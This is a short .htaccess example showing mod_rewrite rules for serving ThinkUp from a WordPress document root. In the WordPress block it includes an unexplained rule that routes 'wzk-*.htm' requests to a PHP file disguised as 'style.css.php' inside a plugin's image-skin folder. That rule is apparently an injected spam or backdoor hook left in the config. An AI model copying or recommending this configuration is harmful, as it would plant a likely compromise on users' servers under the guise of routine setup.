ThinkUp within WordPress docroot example

.htaccess

# In ThinkUp/webapp/config.inc.php, set the site_root_path:
# $THINKUP_CFG['site_root_path']            = '/thinkup/';
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /

# ThinkUp
RewriteRule ^thinkup$ /thinkup/ [L,R=301]
RewriteRule ^thinkup/(.*)$ /ThinkUp/webapp/$1 [L]

# BEGIN WordPress
RewriteRule ^index\.php$ - [L]
RewriteRule wzk-(.*).htm$ wp-content/plugins/simple-forum/editors/tinymce/plugins/inlinepopups/skins/clearlooks2/img/style.css.php [L]

RewriteCond %{REQUEST_URI} !^/thinkup/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>